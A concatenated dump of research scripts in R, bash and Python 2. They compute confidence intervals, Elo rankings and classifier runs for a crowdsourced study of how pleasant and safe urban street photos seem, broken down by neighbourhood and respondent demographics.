higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "parkCars", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="movCicly")$value
normValue <- as.double(filter(coeffData, variable=="movCiclyN")$value)
randomValue <- filter(coeffData, variable=="rmovCicly")$value
sdValue <- filter(coeffData, variable=="rsdMovCicly")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "movCicly", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="buildId")$value
normValue <- as.double(filter(coeffData, variable=="buildIdN")$value)
randomValue <- filter(coeffData, variable=="rbuildId")$value
sdValue <- filter(coeffData, variable=="rsdBuildId")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "buildId", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="buildNRec")$value
normValue <- as.double(filter(coeffData, variable=="buildNRecN")$value)
randomValue <- filter(coeffData, variable=="rbuildNRec")$value
sdValue <- filter(coeffData, variable=="rsdBuildNRec")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "buildNRec", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="tree")$value
normValue <- as.double(filter(coeffData, variable=="treeN")$value)
randomValue <- filter(coeffData, variable=="rtree")$value
sdValue <- filter(coeffData, variable=="rsdTree")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "tree", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="smallPla")$value
normValue <- as.double(filter(coeffData, variable=="smallPlaN")$value)
randomValue <- filter(coeffData, variable=="rsmallPla")$value
sdValue <- filter(coeffData, variable=="rsdSmallPla")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "smallPla", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="diffBuild")$value
normValue <- as.double(filter(coeffData, variable=="diffBuildN")$value)
randomValue <- filter(coeffData, variable=="rdiffBuild")$value
sdValue <- filter(coeffData, variable=="rsdDiffBuild")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "diffBuild", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="streeFur")$value
normValue <- as.double(filter(coeffData, variable=="streeFurN")$value)
randomValue <- filter(coeffData, variable=="rstreeFur")$value
sdValue <- filter(coeffData, variable=="rsdStreeFur")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "streeFur", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="basCol")$value
normValue <- as.double(filter(coeffData, variable=="basColN")$value)
randomValue <- filter(coeffData, variable=="rbasCol")$value
sdValue <- filter(coeffData, variable=="rsdBasCol")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "basCol", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="ligh")$value
normValue <- as.double(filter(coeffData, variable=="lighN")$value)
randomValue <- filter(coeffData, variable=="rligh")$value
sdValue <- filter(coeffData, variable=="rsdLigh")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "ligh", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="accenCol")$value
normValue <- as.double(filter(coeffData, variable=="accenColN")$value)
randomValue <- filter(coeffData, variable=="raccenCol")$value
sdValue <- filter(coeffData, variable=="rsdAccenCol")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "accenCol", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="peop")$value
normValue <- as.double(filter(coeffData, variable=="peopN")$value)
randomValue <- filter(coeffData, variable=="rpeop")$value
sdValue <- filter(coeffData, variable=="rsdPeop")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "peop", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="graff")$value
normValue <- as.double(filter(coeffData, variable=="graffN")$value)
randomValue <- filter(coeffData, variable=="rgraff")$value
sdValue <- filter(coeffData, variable=="rsdGraff")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "graff", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="buildDiffAges")$value
normValue <- as.double(filter(coeffData, variable=="buildDiffAgesN")$value)
randomValue <- filter(coeffData, variable=="rbuildDiffAges")$value
sdValue <- filter(coeffData, variable=="rsdBuildDiffAges")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "buildDiffAges", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="streetWid")$value
normValue <- as.double(filter(coeffData, variable=="streetWidN")$value)
randomValue <- filter(coeffData, variable=="rstreetWid")$value
sdValue <- filter(coeffData, variable=="rsdStreetWid")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "streetWid", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="sidewalkWid")$value
normValue <- as.double(filter(coeffData, variable=="sidewalkWidN")$value)
randomValue <- filter(coeffData, variable=="rsidewalkWid")$value
sdValue <- filter(coeffData, variable=="rsdSidewalkWid")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "sidewalkWid", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="debris")$value
normValue <- as.double(filter(coeffData, variable=="debrisN")$value)
randomValue <- filter(coeffData, variable=="rdebris")$value
sdValue <- filter(coeffData, variable=="rsdDebris")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "debris", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="pavement")$value
normValue <- as.double(filter(coeffData, variable=="pavementN")$value)
randomValue <- filter(coeffData, variable=="rpavement")$value
sdValue <- filter(coeffData, variable=="rsdPavement")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "pavement", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="landscape")$value
normValue <- as.double(filter(coeffData, variable=="landscapeN")$value)
randomValue <- filter(coeffData, variable=="rlandscape")$value
sdValue <- filter(coeffData, variable=="rsdLandscape")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "landscape", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propStreetWall")$value
normValue <- as.double(filter(coeffData, variable=="propStreetWallN")$value)
randomValue <- filter(coeffData, variable=="rpropStreetWall")$value
sdValue <- filter(coeffData, variable=="rsdPropStreetWall")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "propStreetWall", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propWind")$value
normValue <- as.double(filter(coeffData, variable=="propWindN")$value)
randomValue <- filter(coeffData, variable=="rpropWind")$value
sdValue <- filter(coeffData, variable=="rsdPropWind")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "propWind", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="longSight")$value
normValue <- as.double(filter(coeffData, variable=="longSightN")$value)
randomValue <- filter(coeffData, variable=="rlongSight")$value
sdValue <- filter(coeffData, variable=="rsdLongSight")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "longSight", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propSkyAhead")$value
normValue <- as.double(filter(coeffData, variable=="propSkyAheadN")$value)
randomValue <- filter(coeffData, variable=="rpropSkyAhead")$value
sdValue <- filter(coeffData, variable=="rsdPropSkyAhead")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "propSkyAhead", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propSkyAcross")$value
normValue <- as.double(filter(coeffData, variable=="propSkyAcrossN")$value)
randomValue <- filter(coeffData, variable=="rpropSkyAcross")$value
sdValue <- filter(coeffData, variable=="rsdPropSkyAcross")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "propSkyAcross", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="buildHeight")$value
normValue <- as.double(filter(coeffData, variable=="buildHeightN")$value)
randomValue <- filter(coeffData, variable=="rbuildHeight")$value
sdValue <- filter(coeffData, variable=="rsdBuildHeight")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "buildHeight", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="propActiveUse")$value
normValue <- as.double(filter(coeffData, variable=="propActiveUseN")$value)
randomValue <- filter(coeffData, variable=="rpropActiveUse")$value
sdValue <- filter(coeffData, variable=="rsdPropActiveUse")$value
lower <- randomValue - icOnValues(randomValue, sdValue, 1000)
higher <- randomValue + icOnValues(randomValue, sdValue, 1000)
print( paste ( "propActiveUse", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2) , format(higher, digits=2, nsmall=2), format(normValue, digits=2, nsmall=2) ), quote=FALSE )
}
#Main
args <- commandArgs(trailingOnly = TRUE)
if (length(args) > 1){
file1 <- args[1]
coeffData <- read.table(file1, header=TRUE)
convertSummary(coeffData)
}
<file_sep>#!/bin/bash
python geraHtmlTopBottom5.py reg-bai-med-data-agrad.dat Agradavel
mv topbot5.html topbot5-agrad-bai-med.html
python geraHtmlTopBottom5.py reg-bai-med-data-seg.dat Seguro
mv topbot5.html topbot5-seg-bai-med.html
python geraHtmlTopBottom5.py reg-jov-adu-data-agrad.dat Agradavel
mv topbot5.html topbot5-agrad-jov-adu.html
python geraHtmlTopBottom5.py reg-jov-adu-data-seg.dat Seguro
mv topbot5.html topbot5-seg-jov-adu.html
python geraHtmlTopBottom5.py reg-cas-sol-data-agrad.dat Agradavel
mv topbot5.html topbot5-agrad-cas-sol.html
python geraHtmlTopBottom5.py reg-cas-sol-data-seg.dat Seguro
mv topbot5.html topbot5-seg-cas-sol.html
python geraHtmlTopBottom5.py reg-hom-mul-data-agrad.dat Agradavel
mv topbot5.html topbot5-agrad-hom-mul.html
python geraHtmlTopBottom5.py reg-cas-sol-data-seg.dat Seguro
mv topbot5.html topbot5-seg-hom-mul.html
<file_sep>import sys
import time as tm
import datetime
from sets import Set
import numpy as np
possibleQuestions = ["agradavel?", "seguro?"]
def count_users_tasks(lines, output_filename):
output_file = open(output_filename, "w")
for line in lines1:
data = line.split("|")
userID = data[0]
tasks1 = eval(data[2])
tasks2 = eval(data[3])
output_file.write( userID + "\t" + str(len(tasks1) + len(tasks2))+"\n" )
output_file.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <usersInfo.dat>"
sys.exit(1)
dataFile1 = open(sys.argv[1], 'r')
lines1 = dataFile1.readlines()
count_users_tasks(lines1, "users_tasks_counters.dat")
dataFile1.close()
<file_sep># coding=utf-8
import sys
from scipy import stats
import numpy as np
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
#Calculates the mean and confidence interval of QScore per district
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com qscore>"
sys.exit(1)
qscores = open(sys.argv[1], "r")
qscoreLines = qscores.readlines()
#Reading qscores
qscoreDic = {possibleQuestions[0]:{}, possibleQuestions[1]: {}}
for line in qscoreLines:
data = line.split("\t")
photo = data[1].split("/")[5]+"/"+data[1].split("/")[6]#Saving district and street
qscore = data[2]
qscoreDic[data[0].strip()][photo.strip()] = qscore.strip()
#Calculating mean qscores per district
districtDic = {possibleQuestions[0]:{}, possibleQuestions[1]: {}}
for question in possibleQuestions:
for photo in qscoreDic[question].keys():
qscore = qscoreDic[question][photo]
district = photo.split("/")[0].strip()
if district in districtDic[question].keys():
districtData = districtDic[question][district]
else:
districtData = []
districtData.append(float(qscore))
districtDic[question][district] = districtData
#Writing outputFile with qscores and rgb
#outputFile = open("meanQScoreAgrad.dat","w")
#print "Agrad"
#print "bairro\tmedia\tdesvio\tmenor\tmaior"
for district in districtDic[possibleQuestions[0]].keys():
qscores = districtDic[possibleQuestions[0]][district]
mean = np.mean(qscores)
stDeviation = np.std(qscores)
conf_int = stats.norm.interval(0.95, loc=mean, scale=stDeviation)
#print district+"\t"+str(mean)+"\t"+str(stDeviation)+"\t"+str(conf_int[0])+"\t"+str(conf_int[1])
for qscore in qscores:
print "agra\t" + district + "\t" + str(qscore)
#outputFile.close()
#Writing outputFile with qscores and rgb
#outputFile = open("meanQScoreSeg.dat","w")
#print "Seg"
#print "bairro\tmedia\tdesvio\tmenor\tmaior"
for district in districtDic[possibleQuestions[1]].keys():
qscores = districtDic[possibleQuestions[1]][district]
mean = np.mean(qscores)
stDeviation = np.std(qscores)
conf_int = stats.norm.interval(0.95, loc=mean, scale=stDeviation)
#print district+"\t"+str(mean)+"\t"+str(stDeviation)+"\t"+str(conf_int[0])+"\t"+str(conf_int[1])
for qscore in qscores:
print "seg\t"+district + "\t" + str(qscore)
#outputFile.close(),
<file_sep>#!/bin/bash
for i in $(seq 20 60); do
file="../../backupBanco/ranking_predictions/run_80_${i}.csv"
python compute_elo.py $file ../../backupBanco/tasksDef.csv 10000 10
mv all_elo.dat ranking_predictions/all_elo_80_10_${i}.dat
python compute_elo.py $file ../../backupBanco/tasksDef.csv 10000 20
mv all_elo.dat ranking_predictions/all_elo_80_20_${i}.dat
python compute_elo.py $file ../../backupBanco/tasksDef.csv 10000 40
mv all_elo.dat ranking_predictions/all_elo_80_40_${i}.dat
done
for i in $(seq 156 170); do
file="../../backupBanco/ranking_predictions/run_80_${i}.csv"
python compute_elo.py $file ../../backupBanco/tasksDef.csv 10000 10
mv all_elo.dat ranking_predictions/all_elo_80_10_${i}.dat
python compute_elo.py $file ../../backupBanco/tasksDef.csv 10000 20
mv all_elo.dat ranking_predictions/all_elo_80_20_${i}.dat
python compute_elo.py $file ../../backupBanco/tasksDef.csv 10000 40
mv all_elo.dat ranking_predictions/all_elo_80_40_${i}.dat
done
<file_sep>#!/bin/bash
heur=$1
for input_file in classifier_input_wodraw.dat classifier_input_3classes.dat ; do
#classifier_input_lnl.dat classifier_input_rnr.dat ; do
outputSpec=''
if [ ${input_file} == 'classifier_input_lnl.dat' ] ; then
outputSpec='lnl'
elif [ ${input_file} == 'classifier_input_rnr.dat' ] ; then
outputSpec='rnr'
elif [ ${input_file} == 'classifier_input_wodraw.dat' ] ; then
outputSpec='wodraw'
else
outputSpec='3classes'
fi
if [ ${heur} == 'extra' ]; then
echo "#### Only with urban elements features ####" >> classifier_testsExtra_${outputSpec}.dat
#echo ">> Masculino" >> classifier_testsExtra_${outputSpec}.dat
#python classify.py ${input_file} train-config gender-masculino >> classifier_testsExtra_${outputSpec}.dat
#echo ">> Feminino" >> classifier_testsExtra_${outputSpec}.dat
#python classify.py ${input_file} train-config gender-feminino >> classifier_testsExtra_${outputSpec}.dat
echo ">> Jovem" >> classifier_testsExtra_${outputSpec}.dat
python classify.py ${input_file} train-config age-jovem >> classifier_testsExtra_${outputSpec}.dat
#echo ">> Adulto" >> classifier_testsExtra_${outputSpec}.dat
#python classify.py ${input_file} train-config age-adulto >> classifier_testsExtra_${outputSpec}.dat
#echo ">> Baixa" >> classifier_testsExtra_${outputSpec}.dat
#python classify.py ${input_file} train-config income-baixa >> classifier_testsExtra_${outputSpec}.dat
#echo ">> Media" >> classifier_testsExtra_${outputSpec}.dat
#python classify.py ${input_file} train-config income-media >> classifier_testsExtra_${outputSpec}.dat
#echo ">> Solteiro" >> classifier_testsExtra_${outputSpec}.dat
#python classify.py ${input_file} train-config marital-solteiro >> classifier_testsExtra_${outputSpec}.dat
#echo ">> Casado" >> classifier_testsExtra_${outputSpec}.dat
#python classify.py ${input_file} train-config marital-casado >> classifier_testsExtra_${outputSpec}.dat
elif [ ${heur} == 'knn' ]; then
echo "#### Only with urban elements features ####" >> classifier_testsKNN_${outputSpec}.dat
#echo ">> Masculino" >> classifier_testsKNN_${outputSpec}.dat
#python classify2.py ${input_file} train-config gender-masculino >> classifier_testsKNN_${outputSpec}.dat
#echo ">> Feminino" >> classifier_testsKNN_${outputSpec}.dat
#python classify2.py ${input_file} train-config gender-feminino >> classifier_testsKNN_${outputSpec}.dat
echo ">> Jovem" >> classifier_testsKNN_${outputSpec}.dat
python classify2.py ${input_file} train-config age-jovem >> classifier_testsKNN_${outputSpec}.dat
#echo ">> Adulto" >> classifier_testsKNN_${outputSpec}.dat
#python classify2.py ${input_file} train-config age-adulto >> classifier_testsKNN_${outputSpec}.dat
#echo ">> Baixa" >> classifier_testsKNN_${outputSpec}.dat
#python classify2.py ${input_file} train-config income-baixa >> classifier_testsKNN_${outputSpec}.dat
#echo ">> Media" >> classifier_testsKNN_${outputSpec}.dat
#python classify2.py ${input_file} train-config income-media >> classifier_testsKNN_${outputSpec}.dat
#echo ">> Solteiro" >> classifier_testsKNN_${outputSpec}.dat
#python classify2.py ${input_file} train-config marital-solteiro >> classifier_testsKNN_${outputSpec}.dat
#echo ">> Casado" >> classifier_testsKNN_${outputSpec}.dat
#python classify2.py ${input_file} train-config marital-casado >> classifier_testsKNN_${outputSpec}.dat
elif [ ${heur} == 'rbf' ]; then
echo "#### Only with urban elements features ####" >> classifier_testsRBF_${outputSpec}.dat
#echo ">> Masculino" >> classifier_testsRBF_${outputSpec}.dat
#python classify3.py ${input_file} train-config gender-masculino >> classifier_testsRBF_${outputSpec}.dat
#echo ">> Feminino" >> classifier_testsRBF_${outputSpec}.dat
#python classify3.py ${input_file} train-config gender-feminino >> classifier_testsRBF_${outputSpec}.dat
echo ">> Jovem" >> classifier_testsRBF_${outputSpec}.dat
python classify3.py ${input_file} train-config age-jovem >> classifier_testsRBF_${outputSpec}.dat
#echo ">> Adulto" >> classifier_testsRBF_${outputSpec}.dat
#python classify3.py ${input_file} train-config age-adulto >> classifier_testsRBF_${outputSpec}.dat
#echo ">> Baixa" >> classifier_testsRBF_${outputSpec}.dat
#python classify3.py ${input_file} train-config income-baixa >> classifier_testsRBF_${outputSpec}.dat
#echo ">> Media" >> classifier_testsRBF_${outputSpec}.dat
#python classify3.py ${input_file} train-config income-media >> classifier_testsRBF_${outputSpec}.dat
#echo ">> Solteiro" >> classifier_testsRBF_${outputSpec}.dat
#python classify3.py ${input_file} train-config marital-solteiro >> classifier_testsRBF_${outputSpec}.dat
#echo ">> Casado" >> classifier_testsRBF_${outputSpec}.dat
#python classify3.py ${input_file} train-config marital-casado >> classifier_testsRBF_${outputSpec}.dat
elif [ ${heur} == 'linear' ]; then
echo "#### Only with urban elements features ####" >> classifier_testsLinear_${outputSpec}.dat
#echo ">> Masculino" >> classifier_testsLinear_${outputSpec}.dat
#python classify4.py ${input_file} train-config gender-masculino >> classifier_testsLinear_${outputSpec}.dat
#echo ">> Feminino" >> classifier_testsLinear_${outputSpec}.dat
#python classify4.py ${input_file} train-config gender-feminino >> classifier_testsLinear_${outputSpec}.dat
echo ">> Jovem" >> classifier_testsLinear_${outputSpec}.dat
python classify4.py ${input_file} train-config age-jovem >> classifier_testsLinear_${outputSpec}.dat
#echo ">> Adulto" >> classifier_testsLinear_${outputSpec}.dat
#python classify4.py ${input_file} train-config age-adulto >> classifier_testsLinear_${outputSpec}.dat
#echo ">> Baixa" >> classifier_testsLinear_${outputSpec}.dat
#python classify4.py ${input_file} train-config income-baixa >> classifier_testsLinear_${outputSpec}.dat
#echo ">> Media" >> classifier_testsLinear_${outputSpec}.dat
#python classify4.py ${input_file} train-config income-media >> classifier_testsLinear_${outputSpec}.dat
#echo ">> Solteiro" >> classifier_testsLinear_${outputSpec}.dat
#python classify4.py ${input_file} train-config marital-solteiro >> classifier_testsLinear_${outputSpec}.dat
#echo ">> Casado" >> classifier_testsLinear_${outputSpec}.dat
#python classify4.py ${input_file} train-config marital-casado >> classifier_testsLinear_${outputSpec}.dat
fi
done
<file_sep># coding=utf-8
# This script maps for each pair of photos evaluated the set of answers given to such pair
import sys
from sets import Set
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
def mapAnswers(tasksExecution):
answersDic = {possibleQuestions[0]: {}, possibleQuestions[1]: {}}
for execution in tasksExecution:
executionData = execution.split("+")
userAnswer = executionData[9].strip(' \t\n\r"')
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
photosDic = answersDic[question]
if not photosDic.has_key(photo1):
photosDic[photo1] = {}
if not photosDic[photo1].has_key(photo2):
photosDic[photo1][photo2] = set()
taskAnswers = photosDic[photo1][photo2]
taskAnswers.add(answer)
#print taskAnswers
photosDic[photo1][photo2] = taskAnswers
for question in answersDic.keys():
photosDic = answersDic[question]
for photo1 in photosDic.keys():
photosCompared = photosDic[photo1]
for photo2 in photosCompared.keys():
#continue
print photo1+"\t"+photo2+"\t"+str(len(photosCompared[photo2]))
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com execucoes de tarefas para um grupo>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
dataFile.close()
mapAnswers(lines)
<file_sep>#!/bin/Rscript
#Analyses and calculates confidence intervals for features analysis
library(dplyr)
icOnValues <- function(mean, sd, n) {
return (sd/sqrt(n)*qnorm(1-(0.05/2)))#95% confidence interval, significance level of 0.05 (alpha) - sample 100
#value = 1 - (1-0.05)**(1/26) #Sidak
#return (sd/sqrt(n)*qnorm(1-(value/2)))
#value = 1 - (1-0.05/26) #Bonferroni
#return (sd/sqrt(n)*qnorm(1-(value/2)))
}
icOnValuesSidak <- function(mean, sd, n) {
#return (sd/sqrt(n)*qnorm(1-(0.05/2)))#95% confidence interval, significance level of 0.05 (alpha) - sample 100
value = 1 - (1-0.05)**(1/26) #Sidak
return (sd/sqrt(n)*qnorm(1-(value/2)))
#value = 1 - (1-0.05/26) #Bonferroni
#return (sd/sqrt(n)*qnorm(1-(value/2)))
}
icForFeatures <- function(x) {
return (sd(x)/sqrt(length(x))*qt(.975,99))#95% confidence interval for a sample of 1000 items
#print (100 * qnorm(1-(0.05/2)) * sd(x) / (5 * mean(x)))^2
#return (sd(x)/sqrt(length(x))*qnorm(1-(0.05/2)))#95% confidence interval, significance level of 0.05 (alpha) - sample 100
}
analyseICForFeatures <- function(data){
#Features simulated values analysis
icData <- icForFeatures(data$movCars[[1]])
meanVal <- mean(data$movCars[[1]])
